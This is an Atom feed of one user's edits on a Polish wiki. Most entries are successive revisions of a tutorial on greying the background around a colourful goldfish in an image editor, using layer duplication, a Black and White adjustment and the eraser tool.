<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="pl">
	<id>https://wiki.opzsgu.pl/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Stare</id>
	<title>Podręcznik Administratora by OPZ SGU - Wkład użytkownika [pl]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.opzsgu.pl/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Stare"/>
	<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Specjalna:Wk%C5%82ad/Stare"/>
	<updated>2026-04-30T09:19:56Z</updated>
	<subtitle>Wkład użytkownika</subtitle>
	<generator>MediaWiki 1.44.2</generator>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=371</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=371"/>
		<updated>2009-10-06T15:30:36Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku &#039;&#039;&#039;Layers&#039;&#039;&#039; klikamy na &#039;&#039;&#039;Dupliacate Layer&#039;&#039;&#039; (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. &lt;br /&gt;
&lt;br /&gt;
Teraz warstwę tą zmienimy na odcienie szarości.&lt;br /&gt;
&lt;br /&gt;
W pasku menu programu klikamy na &#039;&#039;&#039;Adjustments&#039;&#039;&#039;, a następnie na &#039;&#039;&#039;Black and White&#039;&#039;&#039;. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następnie z okienka Tools wybieramy gumkę (&#039;&#039;&#039;Eraser&#039;&#039;&#039;).&lt;br /&gt;
&lt;br /&gt;
Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. &lt;br /&gt;
&lt;br /&gt;
Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (&#039;&#039;&#039;Zoom&#039;&#039;&#039;) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem &#039;&#039;&#039;Antialiasing Disabled&#039;&#039;&#039; ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne.&lt;br /&gt;
 &lt;br /&gt;
Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. &lt;br /&gt;
&lt;br /&gt;
Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=370</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=370"/>
		<updated>2009-10-06T15:29:03Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku &#039;&#039;&#039;Layers&#039;&#039;&#039; klikamy na &#039;&#039;&#039;Dupliacate Layer&#039;&#039;&#039; (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. &lt;br /&gt;
&lt;br /&gt;
Teraz warstwę tą zmienimy na odcienie szarości.&lt;br /&gt;
&lt;br /&gt;
W pasku menu programu klikamy na &#039;&#039;&#039;Adjustments&#039;&#039;&#039;, a następnie na &#039;&#039;&#039;Black and White&#039;&#039;&#039;. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (&#039;&#039;&#039;Eraser&#039;&#039;&#039;).&lt;br /&gt;
&lt;br /&gt;
 Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. &lt;br /&gt;
&lt;br /&gt;
Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (&#039;&#039;&#039;Zoom&#039;&#039;&#039;) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem &#039;&#039;&#039;Antialiasing Disabled&#039;&#039;&#039; ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne.&lt;br /&gt;
 &lt;br /&gt;
Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. &lt;br /&gt;
&lt;br /&gt;
Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=369</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=369"/>
		<updated>2009-10-06T15:28:52Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku &#039;&#039;&#039;Layers&#039;&#039;&#039; klikamy na &#039;&#039;&#039;Dupliacate Layer&#039;&#039;&#039; (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. &lt;br /&gt;
&lt;br /&gt;
Teraz warstwę tą zmienimy na odcienie szarości.&lt;br /&gt;
&lt;br /&gt;
W pasku menu programu klikamy na &#039;&#039;&#039;Adjustments&#039;&#039;&#039;, a następnie na &#039;&#039;&#039;Black and White&#039;&#039;&#039;. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (&#039;&#039;&#039;Eraser&#039;&#039;&#039;).&lt;br /&gt;
&lt;br /&gt;
 Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. &lt;br /&gt;
&lt;br /&gt;
Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (&#039;&#039;&#039;Zoom&#039;&#039;&#039;) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem &#039;&#039;&#039;Antialiasing Disabled&#039;&#039;&#039; ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne.&lt;br /&gt;
 &lt;br /&gt;
Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. &lt;br /&gt;
&lt;br /&gt;
Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=368</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=368"/>
		<updated>2009-10-06T15:28:31Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku &#039;&#039;&#039;Layers&#039;&#039;&#039; klikamy na &#039;&#039;&#039;Dupliacate Layer&#039;&#039;&#039; (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. &lt;br /&gt;
Teraz warstwę tą zmienimy na odcienie szarości.&lt;br /&gt;
W pasku menu programu klikamy na &#039;&#039;&#039;Adjustments&#039;&#039;&#039;, a następnie na &#039;&#039;&#039;Black and White&#039;&#039;&#039;. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (&#039;&#039;&#039;Eraser&#039;&#039;&#039;). Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (&#039;&#039;&#039;Zoom&#039;&#039;&#039;) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem &#039;&#039;&#039;Antialiasing Disabled&#039;&#039;&#039; ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne. &lt;br /&gt;
Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. &lt;br /&gt;
Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=367</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=367"/>
		<updated>2009-10-06T15:28:10Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku &#039;&#039;&#039;Layers&#039;&#039;&#039; klikamy na &#039;&#039;&#039;Dupliacate Layer&#039;&#039;&#039; (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. Teraz warstwę tą zmienimy na odcienie szarości. W pasku menu programu klikamy na &#039;&#039;&#039;Adjustments&#039;&#039;&#039;, a następnie na &#039;&#039;&#039;Black and White&#039;&#039;&#039;. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (&#039;&#039;&#039;Eraser&#039;&#039;&#039;). Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (&#039;&#039;&#039;Zoom&#039;&#039;&#039;) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem &#039;&#039;&#039;Antialiasing Disabled&#039;&#039;&#039; ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne. Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=366</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=366"/>
		<updated>2009-10-06T15:26:54Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku Layers klikamy na Dupliacate Layer (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. Teraz warstwę tą zmienimy na odcienie szarości. W pasku menu programu klikamy na Adjustments, a następnie na Black and White. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (Eraser). Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (Zoom) z okienka Tools. &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem Antialiasing Disabled ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne. Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=365</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=365"/>
		<updated>2009-10-06T15:26:39Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku Layers klikamy na Dupliacate Layer (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. Teraz warstwę tą zmienimy na odcienie szarości. W pasku menu programu klikamy na Adjustments, a następnie na Black and White. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (Eraser). Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (Zoom) z okienka Tools. &lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem Antialiasing Disabled ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne. Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;br /&gt;
&lt;br /&gt;
[[Plik:blastboy_Antialiasing.png‎]]&lt;br /&gt;
&lt;br /&gt;
W miarę ścierania rybki na podglądzie warstw widać, że rybka zmienia kolor na biały, co świadczy właśnie o usuwaniu części obrazka. &lt;br /&gt;
[[Plik:blastboy_Szara_biala.png‎]]&lt;br /&gt;
&lt;br /&gt;
 Po zakończeniu czynności nasz obrazek powinien wyglądać tak: &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_koniec.png‎]]&lt;br /&gt;
&lt;br /&gt;
Teraz pozostaje nam tylko zapisanie wyniku do pliku JPG, PNG lub innego i na tym zadanie zakończone. Prawda, że proste?&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_koniec.png&amp;diff=364</id>
		<title>Plik:Blastboy Rybka koniec.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_koniec.png&amp;diff=364"/>
		<updated>2009-10-06T15:26:16Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Szara_biala.png&amp;diff=363</id>
		<title>Plik:Blastboy Szara biala.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Szara_biala.png&amp;diff=363"/>
		<updated>2009-10-06T15:25:35Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Antialiasing.png&amp;diff=362</id>
		<title>Plik:Blastboy Antialiasing.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Antialiasing.png&amp;diff=362"/>
		<updated>2009-10-06T15:24:56Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=361</id>
		<title>Jak zrobić szare tło wokół kolorowego elementu? (grafika)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_zrobi%C4%87_szare_t%C5%82o_wok%C3%B3%C5%82_kolorowego_elementu%3F_(grafika)&amp;diff=361"/>
		<updated>2009-10-06T15:24:30Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób. Naszym celem będzie zamienienie niebieskiego tła wokół …”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sposobów na wykonanie tego zadania jest kilka. Poniżej opisuję pierwszy, z czasem dopiszę drugi sposób.&lt;br /&gt;
Naszym celem będzie zamienienie niebieskiego tła wokół złotej rybki na szare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Rybka_poczatek.png]]&lt;br /&gt;
&lt;br /&gt;
Po załadowaniu zdjęcia do programu, w okienku Layers klikamy na Dupliacate Layer (zaznaczone czerwoną otoczką na obrazku). &lt;br /&gt;
&lt;br /&gt;
[[Plik:Blastboy_Duplicate_layer.png]]&lt;br /&gt;
&lt;br /&gt;
Dzięki temu stworzyliśmy nową warstwę. Teraz warstwę tą zmienimy na odcienie szarości. W pasku menu programu klikamy na Adjustments, a następnie na Black and White. Dzięki temu uzyksujemy poniższy efekt: &lt;br /&gt;
[[Plik:Blastboy_Rybka_szara.png‎]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Następnie z okienka Tools wybieramy gumkę (Eraser). Za jej pomocą wycieramy na szarej warstwie rybkę, dzięki czemu odsłaniamy warstwę, która jest pod nią, czyli warstwę kolorową. Bardzo przydatne przy wycieraniu będzie powiększenie obrazka, za pomocą lupy (Zoom) z okienka Tools. &lt;br /&gt;
[[Plik:Blastboy_Rybka_gumka.png‎]]&lt;br /&gt;
&lt;br /&gt;
Z menu narzędzia gumka wybrałem Antialiasing Disabled ponieważ na tym przykładowym obrazku krawędzie rybki są wyraźne. Miękka krawędź gumki jest bardziej przydatna przy wymazywaniu elementów ze zdjęć. Osobiście starałem się nienajeżdżać na krawędzie zewnętrzne rybki, ponieważ niektóre piksele miały niebieski odcień.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_gumka.png&amp;diff=360</id>
		<title>Plik:Blastboy Rybka gumka.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_gumka.png&amp;diff=360"/>
		<updated>2009-10-06T15:24:09Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
